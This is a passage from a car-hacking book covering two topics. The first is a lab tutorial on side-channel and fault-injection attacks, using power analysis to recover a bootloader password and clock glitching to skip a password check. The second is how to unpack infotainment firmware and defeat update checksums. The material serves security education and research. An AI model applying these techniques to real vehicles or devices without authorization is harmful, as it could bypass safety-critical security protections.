avrdudess-a-gui-for-avrdude/. You’ll need to install mono for this to work:

$ sudo apt-get install libmono-winforms2.0-cil

Next, make sure the Victim Board is set up to use the ATmega328 por-
tion by changing the jumper settings to match the layout in Figure 8-7.

Figure 8-7: Jumper settings for the MultiTarget Victim Board

Your ChipWhisperer should have come with a 20-pin ribbon cable. Plug 
this cable in to the back of the ChipWhisperer and the USB A/B cable in 
to the side, as shown in Figure 8-8. Dmesg should report seeing an AVRISP 

https://github.com/zkemble/avrdudess/
https://github.com/zkemble/avrdudess/
http://blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/
http://blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/
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mkII plugged in, which is the programmer that we’ll use to program the 
target board. This will allow us to perform testing without disconnecting the 
device. 

Figure 8-8: Wiring up the MultiTarget Victim Board

Finally, attach the SMA cable from the VOUT on the target board to the 
LNA connector in CH-A on the front of the ChipWhisperer. Table 8-2 shows 
the pinout. We’ll use this setup for our demos unless otherwise specified.

Table 8-2: Pinout for the MultiTarget Victim Board

Victim Board ChipWhisperer Component

20-pin connector Back of the ChipWhisperer 20-pin ribbon cable

VOUT LNA on CH-A SMA cable

Computer Side of the ChipWhisperer Mini USB cable

Brute-Forcing Secure Boot Loaders in Power-Analysis Attacks
Now you have your Victim Board set up, we’ll look at using a power-analysis 
attack to brute-force a password. Power-analysis attacks involve looking at 
the power consumption of different chipsets to identify unique power signa-
tures. By monitoring the power consumption for each instruction, it’s pos-
sible to determine the type of instruction being executed. For instance, a 
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no-operation (NOP) instruction will use less power than a multiply (MUL) 
instruction. These differences can reveal how a system is configured or even 
whether a password is correct because a correct password character may use 
more power than an incorrect one. 

In the following example, we’ll explore TinySafeBoot (http://jtxp.org/​
tech/tinysafeboot_en.htm), a small, open source bootloader designed for AVR 
systems. The bootloader requires a password in order to make modifica-
tions. We’ll use the ChipWhisperer to exploit a vulnerability in its password-
checking method and derive the password from the chip. This vulnerability 
has been fixed in newer versions of TinySafeBoot, but for practice, the old 
version is included in the victims folder of the ChipWhisperer framework. 
This tutorial is based on NewAE’s “Timing Analysis with Power for Attacking 
TSB” (http://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html).

Prepping Your Test with AVRDUDESS
To begin, open AVRDUDESS and select AVR ISP mkII from the Program
mer drop-down menu. Make sure you have ATmega328P selected in the 
MCU field, and then click Detect to verify that you’re connected to the 
ATmega328p (see Figure 8-9). Select the flash file hardware/victims/firmware/
tinysafeboot-20140331 in the Flash field.

Figure 8-9: Programming TinySafeBoot in AVRDUDESS

http://jtxp.org/tech/tinysafeboot_en.htm
http://jtxp.org/tech/tinysafeboot_en.htm
http://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html
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Click Program! and AVRDUDESS should write the TinySafeBoot pro-
gram to the ATmega. 

Setting Up the ChipWhisperer for Serial Communications
Now we’re ready for testing! We’ll use the ChipWhisperer to set and moni-
tor the power usage when the bootloader checks for the password. Then, 
we’ll use this information to build a tool to crack the password much 
faster than a traditional brute-force method would. To begin, set up the 
ChipWhisperer to communicate with the bootloader over the bootloader’s 
serial interface, like this:

$ cd software/chipwhisperer/capture
$ python ChipWhispererCapture.py

The ChipWhisperer has lots of options, so we’ll go step by step through 
each setting you’ll need to change.

1.	 In ChipWhispererCapture, 
go to the General Settings 
tab and set the Scope 
Module to ChipWhisperer/
OpenADC and the Target 
Module to Simple Serial, as 
shown in Figure 8-10.

2.	 Switch to the Target Settings 
tab (at the bottom of the 
window), and change the 
Connection setting to 
ChipWhisperer. Then 
under Serial Port Settings, 
set both TX Baud and RX 
Baud to 9600, as shown in 
Figure 8-11.

3.	 At the top of the screen, 
click the red circle next to 
Scope with DIS in it. The 
circle should become green 
and display CON. 

4.	 The ChipWhisperer comes 
with a simple serial ter-
minal interface. Choose 
ToolsOpen Terminal to 
open it. You should see a 
terminal like the one shown 
in Figure 8-12.

Figure 8-10: Setting the Scope and Target types

Figure 8-11: Setting Connection and Baud
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Figure 8-12: ChipWhisperer serial terminal

5.	 Set TX on Enter at the bottom of the terminal to None, and check the 
box that says RX: Show non-ASCII as hex (see Figure 8-12). Now click 
Connect to enable your text areas.

6.	 Enter @@@ (TinySafeBoot’s start-up password) in the text field to the 
left of the Send button, and click Send. The bootloader should start 
with TSB and mainly contain information about the firmware version 
and AVR settings. TSB is just an identifier used by TinySafeBoot, most 
likely its initials. The output should match that in Figure 8-12.

Setting a Custom Password
Now we need to set a custom password so that we can monitor the power 
levels when a password is entered. 

First, close the serial terminal. Then enter the following lines in the 
Python console window, which is at the bottom center of the ChipWhisperer 
main window.

>>> self.target.driver.ser.write("@@@")
>>> self.target.driver.ser.read(255)

We use the serial command self.target.driver.ser.write("@@@") to send 
the current password for the bootloader. Next, we enter the serial com-
mand self.target.driver.ser.read(255) to read up to the next 255 bytes 
from the bootloader to see its response to our sending the password (see 
Figure 8-13). 
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Figure 8-13: Sending @@@ via ChipWhisperer’s Python  
console

For convenience, first assign the read and write commands to their own 
variables so you don’t have to enter such a long command (the following 
examples assume you’ve completed this step):

>>> read = self.target.driver.ser.read
>>> write = self.target.driver.ser.write

The password is stored in the last page of the device’s flash memory. 
We’ll grab that page, remove the confirmation ! character from the 
response, and write a new password—og—to the firmware. 

N O T E 	 You’ll find a more detailed explanation of this procedure in the NewAE tutorials 
(http://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html) 
or Python manuals. 

Return to the Python console, and enter Listing 8-1.

>>> write('c')
>>> lastpage = read(255)
>>> lastpage = lastpage[:-1]
>>> lastpage = bytearray(lastpage, 'latin-1')
>>> lastpage[3] = ord('o')
>>> lastpage[4] = ord('g')
>>> lastpage[5] = 255
>>> write('C')
>>> write('!')
>>> write(lastpage.decode('latin-1'))

Listing 8-1: Modifying the last page of memory to set the password to og

If the login times out, resend @@@ like so:

>>> write("@@@")

Once you’ve written the new characters to memory, verify that og is the 
new password with write("og"), followed by a read(255) in the Python con-
sole. Notice in Figure 8-14 that we first try sending @@@ but that we don’t get 
a TinySafeBoot response until we send the og password.

http://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html
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Figure 8-14: Setting the password to og

Resetting the AVR 
Having changed the password, we can start reading power signals. First, we 
need to be able to get out of the infinite loop that the system goes into when 
we enter an incorrect password. Write a small script to reset the AVR when 
this happens. While still in the Python console, enter the following com-
mands to create a resetAVR helper function:

>>> from subprocess import call
>>> def resetAVR:
      call(["/usr/bin/avrdude", "-c", "avrispmkII", "-p", "m328p"])

Setting Up the ChipWhisperer ADC
Now, set up the ChipWhisperer ADC so that it knows how to record the 
power trace. Return to the ChipWhisperer main window, click the Scope 
tab, and set the values as shown in Table 8-3 and Figure 8-15.

Table 8-3: Scope Tab Settings to Set Up the OpenADC for the Victim Board

Area Category Setting Value

OpenADC Gain Setting Setting 40

OpenADC Trigger Setup Mode Falling edge

OpenADC Trigger Setup Timeout 7
(continued)
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Table 8-3 (continued)

Area Category Setting Value

OpenADC ADC Clock Source EXTCLK x1 via DCM

CW Extra Trigger Pins Front Panel A Uncheck

CW Extra Trigger Pins Target IO1 (Serial TXD) Check

CW Extra Trigger Pins Clock Source Target IO-IN

OpenADC ADC Clock Reset ADC DCM Push button

Figure 8-15: ADC values to trigger on Serial TX
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Monitoring Power Usage on Password Entry
Now we’ll monitor the power usage when entering a password to see whether 
we can spot a difference in power between a valid and an invalid password. 
We’ll look at what happens when we enter the now invalid password of @@@. 
Recall from earlier that when the bootloader detects that you’ve entered 
a wrong password, it’ll go into an infinite loop, so we can monitor what 
the power usage looks like at that point. Of course, you’ll need to exit that 
infinite loop, so once you’ve tried the incorrect password and are sent into 
a loop, reset the device and try to enter another password. To do this, navi-
gate to the password prompt in the Python console as follows:

>>> resetAVR()
>>> write("@@@")

Now, issue the next command with the correct password, but do not 
click Enter yet:

>>> write("og")

Click 1 in the green play icon in the toolbar to record one power trace. 
Immediately after you do so, click Enter in the Python console. A Capture 
Waveform window should open and show you the power trace recording of 
the valid password (see Figure 8-16).

Figure 8-16: Power trace of a valid password
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The details of Figure 8-16 aren’t that important; the point is to give you 
a feel for what a “good” signal looks like. The thick lines you see are nor-
mal processing, and there’s a dip around the 8,000 sample range when the 
processing instructions changed. (This could be something in the password 
check, but let’s not get hung up on details at this stage.)

Now, enter an invalid password—ff:

>>> resetAVR()
>>> write("@@@")
>>> write("ff")

Figure 8-17 shows the power trace for this password.

Figure 8-17: Power trace for a password with no valid characters 

You can see that the program hangs in its infinite loop when the power 
reading shifts from normal to a near consistent 0 power usage. 

Now, let’s try a password with a valid first character to see whether we 
notice a difference:

>>> resetAVR()
>>> write("@@@")
>>> write("of")
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In Figure 8-18, one additional chunk is active before the device enters 
the infinite loop. We see normal power usage, followed by the dip at 8,000 
that we saw in the first valid reading, and then some more normal usage 
before the device enters the infinite loop of 0 usage. 

Figure 8-18: Power trace of a password with a valid first character 

N O T E 	 You can determine the size of samples used for one valid character by measuring the 
length between the dip at 8,000 and the infinite loop that starts around 16,000. In 
this case, we can roughly approximate that the sample size to check one character is 
about 8,000 traces (16,000 – 8,000).

Scripting the ChipWhisperer with Python
Because the ChipWhisperer is written in Python, it’s highly scriptable, 
so you can script these power traces to create a brute-forcer that can get 
the password for the bootloader very quickly. By setting a script to check 
whether the data points of the power trace exceed a set threshold, your 
brute-forcer can immediately tell whether the target character is correct. 
By looking at the data values on the y-axis in Figure 8-18, we can see that 
when we have activity, data reaches 0.1, but when we’re in the infinite loop, 
it hovers around the 0 mark. If the target character is correct, the threshold 
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for our script can be set to 0.1, and if no data in the sample range of a byte 
reaches 0.1, then we can conclude that we’re in the infinite loop and the 
password character was incorrect.

For example, if the password is made up of 255 different characters with 
a maximum length of 3, the password will be one of 2553, or 16,581,375, 
possibilities. However, because we can instantly detect when we have a cor-
rect character, in a worst-case scenario, the brute-forcer will have to try only 
255 × 3, or 765, possibilities. If the character doesn’t match the set password, 
the bootloader jumps into the infinite loop. On the other hand, if the pass-
word check routine waited until the entire password was checked regardless 
of its correctness, this type of timing analysis couldn’t be done. The fact that 
the small code on embedded systems is often designed to be as efficient as 
possible can open it up to devastating timing attacks.

N O T E 	 For details on how to write your own brute-forcer for the ChipWhisperer, see the 
NewAE tutorials. A sample brute-forcer is included at http://www.nostarch​
.com/carhacking/.

Secure bootloaders and any embedded system that checks for a valid 
code can be susceptible to this type of attack. Some automotive systems 
require a challenge response or a valid access code to access lower-level 
functions. Guessing or brute-forcing these passwords can be very time con-
suming and would make traditional brute-forcing methods unrealistic. By 
using power analysis to monitor how these passwords or codes are being 
checked, you can derive the password, making something that would’ve 
been too time consuming to crack completely doable.

Fault Injection 
Fault injection, also known as glitching, involves attacking a chip by disrupt-
ing its normal operations and potentially causing it to skip running certain 
instructions, such as ones used to enable security. When reading a chip’s 
data sheet, you’ll see that attached to the range for clock speeds and power 
levels is a warning that failing to stick to these ranges will have unpredict-
able results—and that’s exactly what you’ll take advantage of when glitch-
ing. In this section, you’ll learn how to introduce faults by injecting faults 
into clock speeds and power levels. 

Clock Glitching
Any ECU or chip will rely on an internal clock to time its instructions. Each 
time the microcontroller receives a pulse from the clock, it loads an instruc-
tion, and while that instruction is being decoded and executed, the next 
instruction is being loaded. This means that a steady rhythm of pulses is 
needed for the instructions to have time to load and execute correctly. But 
what happens if there’s a hiccup during one of these clock pulses? Consider 
the clock glitch in Figure 8-19.

http://www.nostarch.com/carhacking/
http://www.nostarch.com/carhacking/
http://www.nostarch.com/carhacking/
http://www.nostarch.com/carhacking/
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Figure 8-19: Normal clock cycle (top) and glitched clock cycle (bottom)

Because the Program Counter has time to increment but not enough 
time to decode and execute the instruction before the next instruction is 
loaded, the microcontroller will usually skip that instruction. In the bottom 
cycle of Figure 8-19, instruction 3 is skipped because it does not have enough 
time to execute before another instruction is issued. This can be useful for 
bypassing security methods, breaking out of loops, or re-enabling JTAG. 

To perform a clock glitch, you need to use a system faster than your tar-
get’s system. A field-programmable gate array (FPGA) board is ideal, but you 
can accomplish this trick with other microcontrollers, too. To perform the 
glitch, you need to sync with the target’s clock, and when the instruction you 
want to skip is issued, drive the clock to ground for a partial cycle.

We’ll demonstrate a clock-glitching attack using the ChipWhisperer and 
some demo software made for this kind of attack. The Victim Board setup is 
almost the same as for the power attack, except that you’ll need to change the 
jumpers for the Clock pin (in the middle of the board), which should be set 
only for FPGAOUT by jumping the pins (see Figure 8-20).

Figure 8-20: MultiTarget Victim Board set for glitching
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We’ll set up the ChipWhisperer to control the clock of the ATmega328. 
Both the general settings and the target settings are the same as in the 
power attack discussed in “Setting Up the ChipWhisperer for Serial 
Communications” on page 140; the only exception is that we’ll set the 
baud rate to 38400 for both TX and RX. Enable both the Scope and 
Target by switching from DIS to CON in the toolbar, as discussed earlier. 
Figure 8-21 and Table 8-4 show the complete settings. 

Figure 8-21: Scope settings for glitching
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Table 8-4: ChipWhisperer Main Window Settings for a Clock-Glitch Attack

Area Category Setting Value

OpenADC ADC Clock Frequency Counter Src CLKGEN Output

OpenADC CLKGEN Settings Desired Frequency 7.37 MHz

OpenADC CLKGEN Settings Reset CLKGEN DCM Push button

Glitch module Clock Source CLKGEN

CW Extra Trigger Pins Target HS IO-Out Glitch Module

These settings give the ChipWhisperer full control of the target board’s 
clock and allow you to upload the glitch demo firmware. You’ll find the 
firmware for the target in the ChipWhisperer framework in this directory: 
hardware/victims/firmware/avr-glitch-examples. Open glitchexample.c in your 
favorite editor and then go to the main() method at the bottom of the code. 
Change glitch1() to glitch3() in order to follow along with this demo, and 
then recompile the glitchexample firmware for the ATmega328p:

$ make MCU=atmega328p

Now, upload the glitchexample.hex file via AVRDUDESS, as we did in 
“Prepping Your Test with AVRDUDESS” on page 139. Once the firmware 
is loaded, switch to the main ChipWhisperer window and open a serial ter-
minal. Click Connect, and then switch to AVRDUDESS and click Detect. 
This should reset the chip so that you see hello appear in the capture ter-
minal. Enter a password, and click Send. Assuming you enter the wrong 
password, the capture terminal should display FOff and hang, as shown in 
Figure 8-22.

Figure 8-22: A bad password example
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Now return to your editor and look at the glitchexample source code. As 
shown in Listing 8-2, this is a simple password check.

    for(cnt = 0; cnt < 5; cnt++){ 
        if (inp[cnt] != passwd[cnt]){ 
            passok = 0; 
        } 
    } 

    if (!passok){ 
        output_ch_0('F'); 
        output_ch_0('O'); 
        output_ch_0('f'); 
        output_ch_0('f'); 
        output_ch_0('\n'); 
    } else { 
        output_ch_0('W'); 
        output_ch_0('e'); 
        output_ch_0('l'); 
        output_ch_0('c'); 
        output_ch_0('o'); 
        output_ch_0('m'); 
        output_ch_0('e'); 
        output_ch_0('\n'); 
    } 

Listing 8-2: Password check method for glitch3()

If an invalid password is entered, passok is set to 0, and the message 
Foff is printed to the screen; otherwise, Welcome is printed to the screen. 
Our goal is to introduce a clock glitch that bypasses the password verifica-
tion either by skipping over the instruction that sets passok to 0 (so that it’s 
never set to 0) or by jumping straight to the welcome message. We’ll do 
the latter by manipulating the width and offset percentages in the glitch 
settings. 

Figure 8-23 shows some possible places to locate the glitch. Different 
chips and different instructions react differently depending on where your 
glitch is placed, so experiment to determine which location works best for 
your situation. Figure 8-23 also shows what a normal clock cycle looks like 
under a scope. If we use a positive offset in the ChipWhisperer settings, it’ll 
cause a brief drop in the middle of the clock cycle. If we use a negative off-
set, it’ll cause a brief spike before the clock cycle.

We’ll set the following glitch options in the ChipWhisperer to cause a 
brief spike before the clock cycle by using a –10 percent offset:

Glitch width %: 7
Glitch Offset %: -10
Glitch Trigger: Ext Trigger: Continuous
Repeat: 1
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Figure 8-23: Example glitch placements

Now return to the ChipWhisperer main window to set up the CW Extras, 
as shown in Figure 8-24. This will configure the ChipWhisperer to cause 
the clock glitch only when it gets a signal from the trigger line.
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Figure 8-24: Glitch setup in the CW Extra Settings

N O T E 	 Glitching is an inexact science. Different chips will respond to settings differently, 
and you’ll need to play around with settings a lot to get the timing right. Even if you 
fail to exploit the clock glitch consistently, often you’ll need to get it right only once to 
exploit a device. 

Setting a Trigger Line
Now that we have the ChipWhisperer set up to listen for a signal on the trig-
ger line, we need to modify the code to use the trigger line. The trigger line 
is pin 16 on the ChipWhisperer connector. When the trigger line receives a 
signal (voltage peaks), it triggers the ChipWhisperer software to spring into 
action. 

The trigger line is a generic input method used by ChipWhisperer. The 
goal is to get the trigger line to receive a signal just before the point we want 
to attack. If we were looking at a piece of hardware and noticed a light come 
on just before the area we wanted to attack, we could solder the LED to the 
trigger line in order to make the ChipWhisperer wait until just the right 
moment. 

For this demo, we’ll modify the firmware to make the trigger line go 
off in the area we want to glitch. First we’ll add some code to the default 
glitch 3 example shown in Listing 8-2. Use your favorite editor to add the 
defines in Listing 8-3, toward the top of the glitchexample.c.

#define trigger_setup() DDRC |= 0x01 
#define trigger_high()  PORTC |= 0x01 
#define trigger_low()   PORTC &= ~(0x01)

Listing 8-3: Setting up trigger defines in glitchexample.c

Place a trigger_setup() inside the main() method just before it prints 
hello, and then wrap your target with the trigger, as shown in Listing 8-4.
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    for(cnt = 0; cnt < 5; cnt++){ 
        if (inp[cnt] != passwd[cnt]){ 
            trigger_high(); 
            passok = 0; 
            trigger_low(); 
        } 
    } 

Listing 8-4: Adding trigger_high and trigger_low around passok to trigger a glitch

Now, recompile make MCU=atmega328p, and reupload the firmware to the 
Victim Board. (Make sure to set the Glitch Trigger option to Manual in 
the ChipWhisperer settings before you upload the firmware or you may 
accidentally glitch the firmware upload.) Once the firmware is uploaded, 
switch the Glitch Trigger option back to Ext Trigger:Continous. Now, enter 
any password. If you get a Welcome message, you’ve successfully glitched the 
device, as shown in Figure 8-25.

Figure 8-25: Successfully glitching password check

Unfortunately, in the real world, you probably won’t be able to use a 
trigger line in the same way because you won’t have access to the target 
source or a trigger event won’t be close enough to where you want to glitch. 
In such cases, you’ll need to play with other settings and the Ext trigger 
offset. Open the Glitch Monitor under Tools to experiment with different 
settings.
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Power Glitching
Power glitching is triggered like clock glitching: you feed the target board 
the proper power at a steady rate, and when you want to trigger unexpected 
results at particular instructions, you either drop or raise the voltage to 
interrupt that instruction. Dropping the voltage is often safer than raising 
it, so try that first. Each microcontroller reacts differently to power glitch-
ing, so play around at different points and power levels to build a glitch 
profile and see what types of behavior can be controlled. (When instruc-
tions are skipped via power glitching, it’s often because the opcode instruc-
tion has become corrupted and done something other than the intended 
instruction or because one of the registers has become corrupted.)

N O T E 	 Some microcontrollers aren’t vulnerable at all to power glitching, so test with your tar-
get chipset before trying it on a vehicle.

Power glitching can also affect memory reads and writes. Depending on 
which instruction is running during the power fault, you can cause the con-
troller to read the wrong data or forget to write a value. 

Invasive Fault Injection
Because invasive fault injection attacks are more time-consuming and expen-
sive than glitch attacks, we’ll examine them only briefly here. However, if you 
need to do the job and you have the resources, invasive fault injection is often 
the best way. The catch is that it doesn’t preserve the target and can even 
destroy it.

Invasive fault injection involves physically unpacking the chip, typically 
with acid (nitric acid and acetone) and using an electron microscope to 
image the chip. You can work on just the top or bottom layer of the chip or 
map out each layer and decipher the logic gates and internals. You can also 
use microprobes and a microprobe station to inject the exact signal you want 
into your target. By the same token, you could use targeted lasers or even 
directed heat to cause optical faults to slow down processes in that region. 
For instance, if a move instruction is supposed to take two clock cycles, you 
can slow the registry retrieval to make it late for the next instruction.

Summary
In this chapter, you’ve learned several advanced techniques for attacking 
embedded systems; these techniques will become only more valuable as 
automotive security improves. You learned how to identify chips and moni-
tor power usage to create a profile of good operations. We tested whether 
password checks could be attacked by monitoring the power output of bad 
characters in passwords, ultimately to create a brute-forcing application 
using power analysis to cut the password brute-force time down to seconds. 
We also saw how clock and power glitching can make instructions skip at 
key points in the firmware’s execution, such as during validation security 
checks or when setting JTAG security.



9
In  - V eh  i c l e  

In  f ota   i n m ent    S y ste   m s

In-vehicle infotainment (IVI) system is the 
name often given to the touchscreen 

interface in a car’s center console. These 
consoles often run an operating system such 

as Windows CE, Linux, QNX, or Green Hills and may 
even run Android in a VM as well. They can support 
numerous features with varying levels of integration 
with the vehicle.

The IVI system offers more remote attack surfaces than any other vehicle 
component. In this chapter, you’ll learn how to analyze and identify an IVI 
unit, how to determine how it works, and how to overcome potential hurdles. 
Once you understand your IVI system, you’ll have gained a great deal of 
insight into how your target vehicle works. Gaining access to the IVI system 
will not only allow you to modify the IVI itself but also will open a door to 
additional information about how your vehicle works, such as how it routes 
CAN bus packets and updates the ECU. Understanding the IVI system can 
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also provide insight into whether the system phones home to the manufac-
turer; if it does, you can use access to the IVI to see what data is being col-
lected and potentially transmitted back to the manufacturer.

Attack Surfaces
IVI systems typically have one or more of these physical inputs that you can 
use to communicate with a vehicle:

Auxiliary jack

•	 CD-ROM

•	 DVD

•	 Touchscreen, knobs or buttons, and other physical input methods

•	 USB ports

One or more wireless inputs

•	 Bluetooth

•	 Cellular connection

•	 Digital radio (such as Digital Audio Broadcasting)

•	 GPS

•	 Wi-Fi

•	 XM Radio

Internal network controls

•	 Bus networks (CAN, LIN, KWP, K-Line, and so on)

•	 Ethernet

•	 High-speed media bus

Vehicles often use CAN to communicate with their components, such 
as modules, ECUs, IVI systems, and telematic units. Some IVI systems use 
Ethernet to communicate between high-speed devices, whether to send nor-
mal IP traffic or CAN packets using Electronic System Design’s NTCAN or 
the Ethernet low-level socket interface (ELLSI). (For more on vehicle proto-
cols, see Chapter 2.) 

Attacking Through the Update System
One way to attack the IVI system is to go after its software. If your skill set 
primarily lies in the realm of software-related services, you may feel most 
comfortable with this method, and if you’ve ever researched embedded 
devices, such as home Wi-Fi routers, some of the methods discussed in the 
following should look familiar to you. 

We’ll focus on using system updates to gain access to the system. It may 
be possible to access the system through other software means, such as a 
debug screen, an undocumented backdoor, or a published vulnerability, 
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but we’ll focus on gaining access through software updates because that 
method is the most generic across IVI systems and is the primary one used 
to identify and access a target system via software.

Identifying Your System
In order to fully understand your target IVI system, you must first deter-
mine what kind of software it’s running. Next, you need to figure out how 
to access this software, which often involves looking for the methods the IVI 
uses to update or load its operating system. Once you understand how the 
system updates, you’ll have the knowledge you need to identify vulnerabili-
ties and modify the system.

Before you can begin making modifications, you need to know what 
operating system the IVI is running. The easiest way to do so is to search 
for the brand of the IVI—first, by looking for a label on the outside of the 
IVI unit or frame. If you don’t see a label, look for a display option on the 
interface that displays software version numbers and often the device name. 
Also, check online to see whether anyone has already researched your tar-
get system and, if the system is manufactured by a third party, whether it 
has a website and firmware updates. Download any firmware or tools you 
can find for later use. Find out how the system is updated. Is there a map 
update service available? What other update methods are available? Even if 
you find that system updates are sent over the air, it’s usually possible to find 
USB drives or a DVD containing map updates, like the one from a Honda 
Civic shown in Figure 9-1.

Figure 9-1: NavTeq infotainment unit in an open state
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This IVI has a normal CD tray for music at the top plus a hidden plastic 
door at the bottom that folds down to reveal a DVD tray holding the map 
software.

Determining the Update File Type
System updates are often delivered as compressed files with .zip or .cab file 
extensions, but sometimes they have nonstandard extensions, like .bin or 
.dat. If the update files have .exe or .dll extensions, you’re probably looking 
at a Microsoft Windows–based system.

To determine how the files are compressed and their target architec-
ture, view their headers with a hex editor or use a tool such as file available 
on *nix-based systems. The file command will report a file’s architecture, 
such as ARM or, as with the Honda Civic IVI shown in Figure 9-1, a Hitachi 
SuperH SH-4 Processor. This information is useful if you want to compile 
new code for a device or if you plan on writing or using an exploit against it.

If the file command hasn’t identified the type of file, you may be look-
ing at a packed image. To analyze a firmware bundle, you can use a tool 
such as binwalk, which is a Python tool that uses signatures to carve out files 
from a collected binary. For instance, you can simply run binwalk on your 
firmware image to see a list of identified file types:

$ binwalk firmware.bin

DECIMAL     HEX         DESCRIPTION
-----------------------------------------------------------------------------------------------
0           0x0         DLOB firmware header, boot partition: "dev=/dev/mtdblock/2"
112         0x70        LZMA compressed data, properties: 0x5D, dictionary size: 33554432 
                        bytes, uncompressed size: 3797616 bytes
1310832     0x140070    PackImg section delimiter tag, little endian size: 13644032 bytes; big
                        endian size: 3264512 bytes
1310864     0x140090    Squashfs filesystem, little endian, version 4.0, compression:lzma, 
                        size: 3264162 bytes,  1866 inodes, blocksize: 65536 bytes, created:  
                        Tue Apr  3 04:12:22 2012

Using the -e flag would extract each of these files for further analy-
sis and review. In this example, you can see a SquashFS filesystem was 
detected. 

This filesystem could be extracted with the -e flag and then 
“unsquashed” using the unsquashfs tool to view the filesystem, as I’ve 
done here:

$ binwalk -e firmware.bin
$ cd _firmware.bin.extracted
$ unsquashfs -f -d firmware.unsquashed 140090.squashfs

The binewalk -e commands will extract all known files from firmware.bin 
to the folder _firmware.bin.extracted. Inside that folder, you’ll see files named 
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after their hex address with an extension that matches the detected file 
type. In this example, the squashfs file is called 140090.squashfs because that 
was the location in firmware.bin.

Modifying the System
Once you know your system’s OS, architecture, and update method, the 
next thing to do is to see whether you can use this information to modify it. 
Some updates are “protected” by a digital signature, and these can be tricky 
to update. But often there’s no protection or the update process will simply 
use an MD5 hash check. The best way to find these protections is to modify 
the existing update software and trigger an update.

A good starting point for system modification is something with a vis-
ible result, like a splash screen or icon because once you successfully change 
it, you’ll know immediately (see Figure 9-2).

Figure 9-2: Example modification: NavTeq unit with a modified splash screen

Figure 9-2 shows how I modified the splash screen of an IVI system by 
replacing the normal background image with a Jolly Roger flag and the 
vehicle’s emblem with a character from Street Fighter. Replacing images 
in your splash screen is a safe way to ensure you can modify the IVI system 
without much risk of breaking the system.

Find an image in your update file, modify it, then reburn the update 
DVD and force a system update. (Find out how in the IVI’s manual.) If the 
update files were compressed in a single archive, be sure to recompress the 
modified version so that it appears in the same format as before you modi-
fied it.
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If you run into a checksum issue and your update fails, look for a file 
in the update that might be a hash, such as a text file containing strings 
like 4cb1b61d0ef0ef683ddbed607c74f2bf. You’ll need to update this file with 
the hash of your new modified image. You may be able to guess the hash-
ing algorithm by looking at the size of the hash and performing some trial 
and error. For instance, an 8-character hash, such as d579793f, may be 
CRC32; a 32-character hash, such as c46c4c478a4b6c32934ef6559d25002f, 
may be an MD5 hash; and a 40-character hash, such as 0aaedee31976f-
350a9ef821d6e7571116e848180, may be SHA-1. These are the three most 
common hash algorithms, but there are others you might come across, and a 
quick Google search or reference to the tables at https://en.wikipedia.org/wiki/
List_of_hash_functions should give you a clue as to which algorithm was used. 

The Linux tools crc32, md5sum, and sha1sum will let you quickly calculate 
the hash of an existing file and compare it to the contents of the original 
text file. If you can generate a hash that matches that of the existing file, 
then you’ve found the correct algorithm. 

For example, say you find a single file on an update DVD called 
Validation.dat that lists the contents of the files on the DVD, as shown in 
Listing 9-1. This listing includes the names of three files on the DVD and 
their associated hashes. 

09AVN.bin        b46489c11cc0cf01e2f987c0237263f9
PROG_INFO.MNG    629757e00950898e680a61df41eac192
UPDATE_APL.EXE   7e1321b3c8423b30c1cb077a2e3ac4f0

Listing 9-1: Sample Validation.dat file found on an update DVD

The length of the hash listed for each file—32 characters—suggests 
that this might be an MD5 hash. To confirm, use the Linux md5sum tool to 
generate an MD5 hash for each file. Listing 9-2 shows what that would look 
like for the 09AVN.bin file.

$ md5sum 09AVN.bin
b46489c11cc0cf01e2f987c0237263f9  09AVN.bin

Listing 9-2: Using md5sum to see the hash of the 09AVN.bin file

Compare the hash for 09AVN.bin in Listing 9-1 with the results of 
running md5sum in Listing 9-2, and you’ll see that the hashes match; we’re 
indeed looking at an MD5 hash. This result tells us that in order to mod-
ify 09AVN.bin, we’d need to recalculate the MD5 hash and update the 
Validation.dat file that contains all the hashes with the new hash.

Another way to determine the algorithm used to create the hash is to 
run the strings command on some of the binaries or DLLs in your update 
package to search for strings in the file, like MD5 or SHA. If the hash is 
small, like d579793f, and CRC32 doesn’t seem to work, you’re probably 
looking at a custom hash. 

https://en.wikipedia.org/wiki/List_of_hash_functions
https://en.wikipedia.org/wiki/List_of_hash_functions
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In order to create a custom hash, you need to understand the algorithm 
used to create that hash, which will require digging in with a disassembler, 
such as IDA Pro, Hopper, or radare2, which is free. For instance, Listing 9-3 
shows sample output from a custom CRC algorithm viewed in radare2:

|  .------> 0x00400733    488b9568fff. mov rdx, [rbp-0x98] 
|- fcn.0040077c 107 
|  ||| |    0x0040073a    488d855ffff. lea rax, [rbp-0xa1] 
|  ||| |    0x00400741    4889d1       mov rcx, rdx 
|  ||| |    0x00400744    ba01000000   mov edx, 0x1 
|  ||| |    0x00400749    be01000000   mov esi, 0x1 
|  ||| |    0x0040074e    4889c7       mov rdi, rax 
|  ||| |    0x00400751    e8dafdffff   call sym.imp.fread 
|  ||| |       sym.imp.fread() 
|  ||| |    0x00400756    8b9560ffffff mov edx, [rbp-0xa0] 
|  ||| |    0x0040075c    89d0         mov eax, edx u
|  ||| |    0x0040075e    c1e005       shl eax, 0x5 v
|  ||| |    0x00400761    01c2         add edx, eax w
|  ||| |    0x00400763    0fb6855ffff. movzx eax, byte [rbp-0xa1] 
|  ||| |    0x0040076a    0fbec0       movsx eax, al 
|  ||| |    0x0040076d    01d0         add eax, edx 
|  ||| |    0x0040076f    898560ffffff mov [rbp-0xa0], eax 
|  ||| |    0x00400775    838564fffff. add dword [rbp-0x9c], 0x1 
|  ||       ; CODE (CALL) XREF from 0x00400731 (fcn.0040066c) 
|  |`-----> 0x0040077c    8b8564ffffff mov eax, [rbp-0x9c] 
|  | | |    0x00400782    4863d0       movsxd rdx, eax 
|  | | |    0x00400785    488b45a0     mov rax, [rbp-0x60] 
|  | | |    0x00400789    4839c2       cmp rdx, rax 
|  `======< 0x0040078c    7ca5         jl 0x400733 

Listing 9-3: Disassembly of a CRC checksum function in radare2

Unless you’re good at reading low-level assembler, this may be a bit 
much to start with, but here we go. The algorithm in Listing 9-3 reads in a 
byte at , shifts left by 5 at , and then, at , adds it to the hash to calcu-
late the final sum. The rest of the assembly is mainly used by the read loop 
to process the binary file.

Apps and Plugins
Whether your goal is to perform firmware updates, create custom splash 
